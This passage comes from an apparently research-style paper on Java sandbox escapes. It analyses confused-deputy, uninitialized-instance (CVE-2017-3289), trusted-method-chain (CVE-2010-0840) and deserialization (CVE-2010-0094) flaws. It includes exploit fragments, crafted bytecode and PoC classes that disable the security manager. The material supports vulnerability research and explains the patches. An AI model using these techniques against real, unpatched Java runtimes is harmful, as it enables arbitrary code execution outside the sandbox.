‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Permissions permissions = new Permissions();

2: permissions.add(new AllPermission());

3: ProtectionDomain pd = new ProtectionDomain(new CodeSource( 4: new URL("file:///"), new Certificate[0]), permissions);

5: AccessControlContext newAcc =

6: AccessControlContext(new ProtectionDomain[] {pd});

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_Statement_ objects can represent arbitrary method calls. When an instance of _Statement_ is created, it stores the current security context in Statement.acc. When calling Statement.execute(), it will execute the call it represents within the security context that has originally been stored in Statement.acc to ensure that it calls the method with the same privileges as if it were called directly.

We next create a _Statement_ that represents the call System.setSecurityManager(null) and overwrite its _AccessControlContext_ stored in Statement.acc with our new _AccessControlContext_ that has all permissions.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Statement stmt = new Statement(System.class, "setSecurityManager", 2: new Object[1]);

3: acc.set(stmt, newAcc)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finally, we call stmt.execute() to actually perform the call to setSecurityManager(). This call will succeed, because we have replaced the security context in stmt.acc with a security context that has been assigned all privileges.

‑‑‑‑‑‑[ 4.1.3 ‑ Discussion

The problem of confused deputy attacks naturally arises from the very core concepts of Java platform security. One crucial mechanism of the sandbox is stack‑based access control, which inspects the call stack whenever sensitive operations are attempted, thus detecting direct access from untrusted code to sensitive class members, for example. In many cases, however, this stack inspection terminates before all callers on the current stack have been checked for appropriate permissions. There are two common cases when this happens. In the first case, one of the callers on the stack calls doPrivileged() to explicitly state that the desired action is deemed secure, even if called from unprivileged code. While doPrivileged() generally is a sensible mechanism, it can also be used incorrectly in situations where not all precautions have been taken to actually ensure that a specific operation is secure. In the second case, a method in a system class will manually check properties of the immediate caller only, and skip the JVM's access control mechanism that would inspect also the other callers on the stack. In both these cases can analysts profit from incomplete stack walks by performing certain sensitive actions simply on behalf of system classes.

‑‑‑‑[ 4.2 ‑ Uninitialized Instance

‑‑‑‑‑‑[ 4.2.1 ‑ Background

A crucial step in Java object initialization is calling the constructor of the respective type. Constructors contain necessary code for variable initialization, but may also contain security checks. It is therefore important for the security and stability of the platform to enforce that constructors are actually called before object initialization completes and methods of the type are invoked by other code.

Enforcing constructor calls is in the responsibility of the bytecode verifier, which checks all classes during loading to ensure their validity. This also includes, for instance, checking that jumps land on valid instructions and not in the middle of an instruction, and checking that the control flow ends with a return instruction. Furthermore, it also checks that instructions operate on valid types, which is required to prevent type confusion attacks, which we presented in Section 3.1.1.

Historically, to check type validity, the JVM relied on a data flow analysis to compute a fix point. This analysis may require to perform multiple pass over the same paths. As this is time consuming, and may slower the class loading process, a new approach has been developed to perform the type checking in linear time where each path is only checked once. To achieve that, meta‑information called stack map frames have been added along the bytecode. In brief, stack map frames describe the possible types at each branch targets. Stack map frames are stored in a structure called the stack map table [25].

There is an uninitialized instance vulnerability when the analyst is able to create an instance on which the call to <init>(*), the constructor of the object or the constructor of the super class, is not executed. This vulnerability directly violates the specification of the virtual machine [21]. The consequences on the security of the JVM is that with an uninitialized instance vulnerability an analyst can instantiate objects he should not be able to and have access to properties and methods he should not have access to. This could potentially lead to a sandbox escape.

‑‑‑‑‑‑[ 4.2.2 ‑ Example: CVE‑2017‑3289

The description of the CVE indicates that "Successful attacks of this vulnerability can result in takeover of Java SE, Java SE Embedded." [22]. As for CVE‑2017‑3272, this means it might be possible to exploit the vulnerability to escape the Java sandbox.

Redhat's bugzilla indicates that "An insecure class construction flaw, related to the incorrect handling of exception stack frames, was found in the Hotspot component of OpenJDK. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions." [23]. This informs the analyst that (1) the vulnerability lies in C/C++ code (Hotspot is the name of the Java VM) and that (2) the vulnerability is related to an illegal class construction and to exception stack frames. Information (2) indicates that the vulnerability is probably in the C/C++ code checking the validity of the bytecode. The page also links to the OpenJDK's patch for this vulnerability.

The OpenJDK's patch "8167104: Additional class construction refinements" fixing the vulnerability is available online [24]. Five C++ files are patched: "classfile/verifier.cpp", the class responsible for verifying the structure and the validity of a class file, "classfile/stackMapTable.{cpp, hpp}", the files handling the stack map table, and "classfile/stackMapFrame.{cpp, hpp}", the files representing the stack map frames.

By looking at the diff, one notices that function StackMapFrame::has_flag_match_exception() has been removed and a condition, which we will refer to as C1, has been updated by removing the call to has_flag_match_exception(). Also, methods match_stackmap() and is_assignable_to() have now one less parameter: "bool handler" has been removed. This parameter "handler" is set to "true" if the verifier is currently checking an exception handler. Condition C1 is illustrated in the following listing:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

....

‑ bool match_flags = (_flags | target‑>flags()) == target‑>flags(); ‑ if (match_flags || is_exception_handler && has_flag_match_exception(target)) {

+ if ((_flags | target‑>flags()) == target‑>flags()) { return true;

}

....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This condition is within function is_assignable_to() which checks if the current stack map frame is assignable to the target stack map frame, passed as a parameter to the function. Before the patch, the condition to return "true" was "match_flags || is_exception_handler && has_flag_match_exception(target)". In English, this means that flags for the current stack map frame and the target stack map frame are the same or that the current instruction is in an exception handler and that function "has_flag_match_exception" returns "true". Note that there is only one kind of flag called "UNINITIALIZED_THIS" (aka FLAG_THIS_UNINIT). If this flag is true, it indicates that the object referenced by "this" is uninitialized, i.e., its constructor has not yet been called.

After the patch, the condition becomes "match_flags". This means that, in the vulnerable version, there is probably a way to construct bytecode for which "match_flags" is false (i.e., "this" has the uninitialized flag in the current frame but not in the target frame), but for which "is_exception_handler" is "true" (the current instruction is in an exception handler) and for which "has_flag_match_exception(target)" returns "true". But when does this function return "true"?

Function has_flag_match_exception() is represented in the following listing.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: ....

2: bool StackMapFrame::has_flag_match_exception(

3: const StackMapFrame* target) const {

4:

5: assert(max_locals() == target‑>max_locals() &&

6: stack_size() == target‑>stack_size(),

7: "StackMap sizes must match");

8:

9: VerificationType top = VerificationType::top_type(); 10: VerificationType this_type = verifier()‑>current_type(); 11:

12: if (!flag_this_uninit() || target‑>flags() != 0) {

13: return false;

14: }

15:

16: for (int i = 0; i < target‑>locals_size(); ++i) {

17: if (locals()[i] == this_type && target‑>locals()[i] != top) { 18: return false;

19: }

20: }

21:

22: for (int i = 0; i < target‑>stack_size(); ++i) {

23: if (stack()[i] == this_type && target‑>stack()[i] != top) { 24: return false;

25: }

26: }

27:

28: return true;

29: }

30: ....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In order for this function to return "true" all the following conditions must pass: (1) the maximum number of local variables and the maximum size of the stack must be the same for the current frame and the target frame (lines 5‑7); (2) the current frame must have the "UNINIT" flag set to "true" (line 12‑14); and (3) uninitialized objects are not used in the target frame (lines 16‑26).

The following listing illustrates bytecode that satisfies the three conditions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<init>()

0: new // class java/lang/Throwable

1: dup

2: invokespecial // Method java/lang/Throwable."<init>":()V

3: athrow

4: new // class java/lang/RuntimeException

5: dup

6: invokespecial // Method java/lang/RuntimeException."<init>":()V

7: athrow

8: return

Exception table:

from to target type

0 4 8 Class java/lang/Throwable StackMapTable: number_of_entries = 2

frame at instruction 3

local = [UNINITIALIZED_THIS]

stack = [ class java/lang/Throwable ]

frame at instruction 8

locals = [TOP]

stack = [ class java/lang/Throwable ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The maximum number of locals and the maximum stack size can be set to 2 to satisfy the first condition. The current frame has "UNINITIALIZED_THIS" set to true at line 3 to satisfy the second condition. Finally, to satisfy the third condition, uninitialized locals are not used in the target of the "athrow" instruction (line 8) since the first element of the local is initialized to "TOP".

Note that the code is within a try/catch block to have "is_exception_handler" set to "true" in function is_assignable_to(). Moreover, notice that the bytecode is within a constructor (<init>() in bytecode). This is mandatory in order to have flag "UNINITIALIZED_THIS" set to true.

We now know that the analyst is able to craft bytecode that returns an uninitialized object of itself. At a first glance, it may be hard to see how such an object could be used by the analyst. However, a closer look reveals that such a manipulated class could be implemented as a subclass of a system class, which can be initialized without calling super.<init>(), the constructor of the super class. This can be used to instantiate public system classes that can otherwise not be instantiated by untrusted code, because their constructors are private, or contain permission checks. The next step is to find such classes which offer "interesting" functionalities to the analyst. The aim is to combine all the functionalities to be able to execute arbitrary code in a sandbox environment, hence bypassing the sandbox. Finding useful classes is, however, a complicated task by itself. Specifically, we are facing the following challenges.

Challenge 1: Where to look for helper code

The JRE ships with numerous jar files containing JCL (Java Class Library) classes. These classes are loaded as _trusted_ classes and may be leveraged when constructing an exploit. Unfortunately for the analyst, but fortunately for Java users, more and more of the classes are tagged as "restricted" meaning that _untrusted_ code cannot directly instantiate them. The number of restricted packages went from one in 1.6.0_01 to 47 in 1.8.0_121. This means that the percentage of code that the analyst cannot directly use when building an exploit went from 20% in 1.6.0_01 to 54% in 1.8.0_121.

Challenge 2: Fields may not be initialized

Without the proper permission it is normally not possible to instantiate a new class loader. The permission of the _ClassLoader_ class being checked in the constructor it seems, at first sight, to be an interesting target. With the vulnerability of CVE‑2017‑3289 it is indeed possible to instantiate a new class loader without the permission since the constructor code ‑‑ and thus the permission check ‑‑ will not be executed. However, since the constructor is bypassed, fields are initialized with default values (e.g, zero for integers, null for references). This is problematic since the interesting methods which normally allows to define a new class with all privileges will fail because the code will try to dereference a field which has not been properly initialized. After manual inspection it seems difficult to bypass the field dereference since all paths are going through the instruction dereferencing the non‑initialized field. Leveraging the _ClassLoader_ seems to be a dead end. Non‑initialized fields is a major challenge when using the vulnerability of CVE‑2017‑3289: in addition to the requirements for a target class to be public, non‑final and non‑restricted, its methods of interest should also not execute a method dereferencing uninitialized fields.

We have not yet found useful helper code for Java version 1.8.0 update 112. To illustrate how the vulnerability of CVE‑2017‑3289 works we will show alternative helper code for exploits leveraging 0422 and 0431. Both exploits rely on _MBeanInstantiator_, a class that defines method findClass() which can load arbitrary classes. Class _MBeanInstantiator_ has only private constructors, so direct instantiation is not possible. Originally, these exploits use _JmxMBeanServer_ to create an instance of _MBeanInstantiator_. We will show that an analyst can directly subclass _MBeanInstantiator_ and use vulnerability 3289 to get an instance of it.

The original helper code to instantiate _MBeanInstantiator_ relies on _JmxMBeanServer_ as shown below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: JmxMBeanServerBuilder serverBuilder = new JmxMBeanServerBuilder(); 2: JmxMBeanServer server =

3: (JmxMBeanServer) serverBuilder.newMBeanServer("", null, null); 4: MBeanInstantiator instantiator = server.getMBeanInstantiator();

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The alternative code to instantiate _MBeanInstantiator_ leverages the vulnerability of CVE‑2017‑3289:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public class PoCMBeanInstantiator extends java.lang.Object { 2: public PoCMBeanInstantiator(ModifiableClassLoaderRepository clr) { 3: throw new RuntimeException();

4: }

5:

6: public static Object get() {

7: return new PoCMBeanInstantiator(null);

8: }

9: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note that since _MBeanInstantiator_ does not have any public constructor, _PoCMBeanInstantiator_ has to extend a dummy class, in our example _java.lang.Object_, in the source code. We use the ASM [28] bytecode manipulation library, to change the super class of _PoCMBeanInstantiator_ to _MBeanInstantiator_. We also use ASM to change the bytecode of the constructor to bypass the call to super.<init>(*).

Since Java 1.7.0 update 13, Oracle has added _com.sun.jmx._ as a restricted package. Class _MBeanInstantiator_ being in this package, it is thus not possible to reuse this helper code in later versions of Java.

To our surprise, this vulnerability affects more than 40 different public releases. All Java 7 releases from update 0 to update 80 are affected. All Java 8 releases from update 5 to update 112 are also affected. Java 6 is not affected.

By looking at the difference between the source code of the bytecode verifier of Java 6 update 43 and Java 7 update 0, we notice that the main part of the diff corresponds to the inverse of the patch presented above. This means that the condition under which a stack frame is assignable to a target stack frame within an exception handler in a constructor has been weakened. Comments in the diff indicate that this new code has been added via request 7020118 [26]. This request asked to update the code of the bytecode verifier in such a way that NetBeans' profiler can generate handlers to cover the entire code of a constructor.

The vulnerability has been fixed by tightening the constraint under which the current stack frame ‑‑ in a constructor within a try/catch block ‑‑ can be assigned to the target stack frame. This effectively prevents bytecode from returning an uninitialized ``this'' object from the constructor.

As far as we know, there are at least three publicly known _uninitialized instance_ vulnerabilities for Java. One is CVE‑2017‑3289 described in this paper. The second has been discovered in 2002 [29]. The authors also exploited a vulnerability in the bytecode verifier which enables to not call the constructor of the super class. They have not been able to develop an exploit to completely escape the sandbox. They were able, however, to access the network and read and write files to the disk. The third has been found by a research group at Princeton in 1996 [30]. Again, the problem is within the bytecode verifier. It allows for a constructor to catch exceptions thrown by a call to super() and return a partially initialized object. Note that at the time of this attack the class loader class did not have any instance variable. Thus, leveraging the vulnerability to instantiate a class loader gave a fully initialized class loader on which any method could be called.

‑‑‑‑‑‑[ 4.2.3 ‑ Discussion

The root cause of this vulnerability is a modification of the C/C++ bytecode validation code which enables an analyst to craft Java bytecode which is able not to bypass the call to super() in a constructor of a subclass. This vulnerability directly violates the specification of the virtual machine [21].

However, this vulnerability is useless without appropriate _helper_ code. Oracle has developed static analysis tools to find dangerous gadgets and blacklist them [31]. This makes it harder for an analyst to develop an exploit bypassing the sandbox. Indeed, we have only found interesting gadgets that work with older versions of the JVM. Since they have been blacklisted in the latest versions, the attack does not work anymore. However, even though the approach relies on static analysis, it (1) may generate many false positives which makes it harder to identify real dangerous gadgets and (2) might have false negatives because it does not faithfuly model all specificities of the language, typically reflection and JNI, and thus is not sound.

‑‑‑‑[ 4.3 ‑ Trusted Method Chain

‑‑‑‑‑‑[ 4.3.1 ‑ Background

Whenever a security check is performed in Java, the whole call stack is checked. Each frame of the call stack contains a method name identified by its class and method signature. The idea of a trusted method chain attack is to only have trusted classes on the call stack. To achieve this, an analyst typically relies on reflection features present in trusted classes to call target methods. That way, no application class (untrusted) will be on the call stack when the security check is done and the target methods will execute in a privileged context (typically to disable the security manager). In order for this approach to work the chain of methods has to be on a privileged thread such as the event thread. It will not work on the main thread because the class with the main method is considered untrusted and the security check will thus throw an exception.

‑‑‑‑‑‑[ 4.3.2 ‑ Example: CVE‑2010‑0840

This vulnerability is the first example of a trusted method chain attack against the Java platform [32]. It relies on the _java.beans.Statement_ class to execute target methods via reflection. The exploit injects a _JList_ GUI element ("A component that displays a list of objects and allows the user to select one or more items." [33]) to force the GUI thread to draw the new element. The exploit code is as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// target method

Object target = System.class;

String methodName = "setSecurityManager";

Object[] args = new Object[] { null };

Link l = new Link(target, methodName, args);

final HashSet s = new HashSet();

s.add(l);

Map h = new HashMap() {

public Set entrySet() {

return s;

}; };

sList = new JList(new Object[] { h });

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The target method is represented as a _Statement_ through the _Link_ object. The _Link_ class is not a class from the JCL but a class constructed by the analyst. The _Link_ class is a subclass of _Expression_ which is a subclass of _Statement_. The _Link_ object also implements, although in a fake way, the getValue() method of the _java.util.Map.Entry_ interface. It is not a real implementation of the _Entry_ interface because only the getValue() method is present. This "implementation" cannot be done with a normal javac compiler and has to be done by directly modifying the bytecode of the _Link_ class.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

interface Entry<K,V> {

[...]

/**

* Returns the value corresponding to this entry. If the mapping * has been removed from the backing map (by the iterator's * <tt>remove</tt> operation), the results of this call are * undefined.

*

* @return the value corresponding to this entry

* @throws IllegalStateException implementations may, but are not * required to, throw this exception if the entry has been * removed from the backing map.

*/

V getValue();

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This interface has the getValue() method. It turns out that the _Expression_ class also has a getValue() method with the same signature. That is why at runtime calling Entry.getValue() on an object of type _Link_, faking the implementation of _Entry_, can succeed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// in AbstractMap

public String toString() {

Iterator<Entry<K,V>> i = entrySet().iterator();

if (! i.hasNext())

return "{}";

StringBuilder sb = new StringBuilder(); sb.append('{');

for (;;) {

Entry<K,V> e = i.next();

K key = e.getKey();

V value = e.getValue();

sb.append(key == this ? "(this Map)" : key); sb.append('=');

sb.append(value == this ? "(this Map)" : value); if (! i.hasNext())

return sb.append('}').toString(); sb.append(',').append(' ');

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The analyst aims at calling the AbstractMap.toString() method to call Entry.getValue() on the _Link_ object which calls the invoke() method:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

public Object getValue() throws Exception {

if (value == unbound) {

setValue(invoke());

}

return value;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The invoke method executes the analyst's target method System.setSecurityManapger(null) via reflection to disable the security manager. The call stack when this method is invoked through reflection looks like this:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

at java.beans.Statement.invoke(Statement.java:235) at java.beans.Expression.getValue(Expression.java:98) at java.util.AbstractMap.toString(AbstractMap.java:487) at javax.swing.DefaultListCellRenderer.getListCellRendererComponent (DefaultListCellRenderer.java:125)

at javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java:1337)

at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.java:1287)

at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251) at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227) at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143) at javax.swing.JComponent.paintComponent(JComponent.java:758) at javax.swing.JComponent.paint(JComponent.java:1022) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JLayeredPane.paint(JLayeredPane.java:564) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104) at javax.swing.BufferStrategyPaintManager.paint (BufferStrategyPaintManager.java:285)

at javax.swing.RepaintManager.paint(RepaintManager.java:1128) at javax.swing.JComponent._paintImmediately(JComponent.java:5052) at javax.swing.JComponent.paintImmediately(JComponent.java:4862) at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:723)

at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:679)

at javax.swing.RepaintManager.seqPaintDirtyRegions (RepaintManager.java:659)

at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run (SystemEventQueueUtilities.java:128)

at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209) at java.awt.EventQueue.dispatchEvent(EventQueue.java:597) at java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.java:273)

at java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.java:183)

at java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.java:173)

at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:168)

at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:160)

at java.awt.EventDispatchThread.run(EventDispatchThread.java:121)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first observation is that there are no untrusted class on the call stack. Any security check performed on the elements of the call stack will pass.

As seen on the call stack above, the paint operation (RepaintManager.java:1128) ends up calling the getListCellRendererComponent() method (DefaultListCellRenderer.java:125). The _JList_ constructor takes as a parameter a list of the item elements. This method in turn calls the toString() method on the items. The first element being a _Map_ calls getValue() on all its items. The method getValue() calls Statement.invoke() which calls the analyst's target method via reflection.

‑‑‑‑‑‑[ 4.3.3 ‑ Discussion

This vulnerability has been patched by modifying the Statement.invoke() method to perform the reflective call in the _AccessControlContext_ of the code which created the _Statement_. This exploit does not work on recent version of the JRE because the untrusted code which creates the _Statement_ does not have any permission.

‑‑‑‑[ 4.4 ‑ Serialization

‑‑‑‑‑‑[ 4.4.1 ‑ Background

Java allows for transforming objects at runtime to byte streams, which is useful for persistence and network communications. Converting an object into a sequence of bytes is called serialiation, and the reverse process of converting a byte stream to an object is called deserialization, accordingly. It may happen that part of the deserialization process in done in a privileged context. An analyst can leverage this by instantiating objects that he would normally not be allowed to instantiate due to lacking permissions. A typical example is the class _java.lang.ClassLoader_. An analyst (always in the context of having no permission) cannot directly instantiate a subclass _S_ of _ClassLoader_ because the constructor of _ClassLoader_ checks whether the caller has permission CREATE_CLASSLOADER. However, if he finds a way to deserialize a serialized version of _S_ in a privileged context, he may end up having an instance of _S_. Note that the serialized version of _S_ can be created by the analyst outside the scope of an attack (e.g., on his own machine with a JVM with no sandbox). During the attack, the serialized version is just data representing an instance of _S_. In this section we show how to exploit CVE‑2010‑0094 to make use of system code that deserializes data provided by the analyst in a privileged context. This can be used to execute arbitrary code and thus bypass all sandbox restrictions.

‑‑‑‑‑‑[ 4.4.2 ‑ Example: CVE‑2010‑0094

The vulnerability CVE‑2010‑0094 [35] lies in method RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject). The fourth argument of type _MarshalledObject_ contains a byte representation of an object _S_ which is deserialized in a privileged context (within a call to doPrivileged() with all permissions). The analyst can pass an arbitrary object to createMBean() for deserialization. In our case, he passes a subclass of _java.lang.ClassLoader_:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

public class S extends ClassLoader implements Serializable { }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a vulnerable version of the JVM (1.6.0_17 for instance), the call stack when object _S_ is instantiated is the following:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2: S(ClassLoader).<init>() line: 226 [local variables unavailable]

4: GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available

6: Constructor<T>.newInstance(Object...) line: 513

7: ObjectStreamClass.newInstance() line: 924

8: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1737 10: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject0(boolean) line: 1329 12: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject() line: 351

14: MarshalledObject<T>.get() line: 142

15: RMIConnectionImpl$6.run() line: 1513

16: AccessController.doPrivileged(PrivilegedExceptionAction<T>) line: not available [native method]

18: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class<T>) line: 1505

20: RMIConnectionImpl.access$500(MarshalledObject, ClassLoader, Class) line: 72

22: RMIConnectionImpl$7.run() line: 1548

23: AccessController.doPrivileged(PrivilegedExceptionAction<T>) line: not available [native method]

25: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class<T>) line: 1544

27: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376

29: Exploit.exploit() line: 79

30: Exploit(BypassExploit).run_exploit() line: 24

31: ExploitBase.run(ExploitBase) line: 20

32: Exploit.main(String[]) line: 19

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We observe that the deserialization happens within a privileged context (within a doPrivileged() at line 16 and line 23). Notice that it is the constructor of the _ClassLoader_ class (<init>(), trusted code) which is on the stack and not the constructor of _S_ (the analyst class, untrusted code). Note that at line 2 "S(ClassLoader)" means that _ClassLoader_ is on the stack, not _S_. If _S_ would have been on the stack, the permission check in the _ClassLoader_ constructor would have thrown a security exception since untrusted code (thus without the permission) is on the stack. Why then is _S_ not on the call stack? The answer is given by the documentation of the serialization protocol [34]. It says that the constructor which is called is the first constructor of the class hierarchy not implementing the _Serializable_ interface. In our example _S_ implements _Serializable_ so its constructor is not called. _S_ extends _ClassLoader_ which does not implement _Serializable_. Thus, the empty constructor of _ClassLoader_ is called by the deserialization system code. As a consequence, the stack trace only contains trusted system classes on the stack within the privileged context (there can be untrusted code after doPrivileged() since a permission check will stop at the doPrivileged() method when checking the call stack). The permission check in the _ClassLoader_ will succeed.

However, later in the system code, this instance of _S_ is cast to a type which is nor _S_, neither _ClassLoader_. So, how can the analyst retrieve this instance? One solution is to add a static field to _S_ as well as a method to the _S_ class to save the reference of the instance of _S_ in the static field:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

public class S extends ClassLoader implements Serializable { public static S myCL = null;

private void readObject(java.io.ObjectInputStream in) throws Throwable {

S.myCL = this;

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The readObject() method is a special method called during deserialization (by readOrdinaryObject() at line 8 in the above call stack). No permission check is done at this point, so untrusted code (S.readObject() method) can be on the call stack.

The analyst now has access to an instance of _S_. Since _S_ is a subclass of _ClassLoader_, the analyst can define a new class with all privileges and disable the security manager (similar approach as in Section 3.1.1). At this point, the sandbox is disabled and the analyst can execute arbitrary code.

This vulnerability affects 14 versions of Java 1.6 (from version 1.6.0_01 to 1.6.0_18). It has been corrected in version 1.6.0_24.

The combination of the following "features" enables the analyst to bypass the sandbox: (1) trusted code allows deserialization of data controlled by untrusted code, (2) deserialization is taking place in a privileged context, and (3) creating an object by means of deserialization follows a different procedure than regular object instantiation.

The vulnerability CVE‑2010‑0094 has been fixed in Java 1.6.0 update 24. The two calls to doPrivileged() have been removed from the code. In the patched version, when _ClassLoader_ is initialized, the permission check fails since the whole call stack is now checked (see the new call stack below). Untrusted code at lines 21 and below does not have permission CREATE_CLASSLOADER.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2: MyClassLoader(ClassLoader).<init>() line: 226 [local variables unavailable]

4: GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available

6: Constructor<T>.newInstance(Object...) line: 513

7: ObjectStreamClass.newInstance() line: 924

8: MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1736 10: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject0(boolean) line: 1328

12: MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject() line: 350

14: MarshalledObject<T>.get() line: 142

15: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class<T>) line: 1523

17: RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class<T>) line: 1559

19: RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376

21: Exploit.exploit() line: 79

22: Exploit(BypassExploit).run_exploit() line: 24

23: ExploitBase.run(ExploitBase) line: 20

24: Exploit.main(String[]) line: 19

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 4.4.3 ‑ Discussion

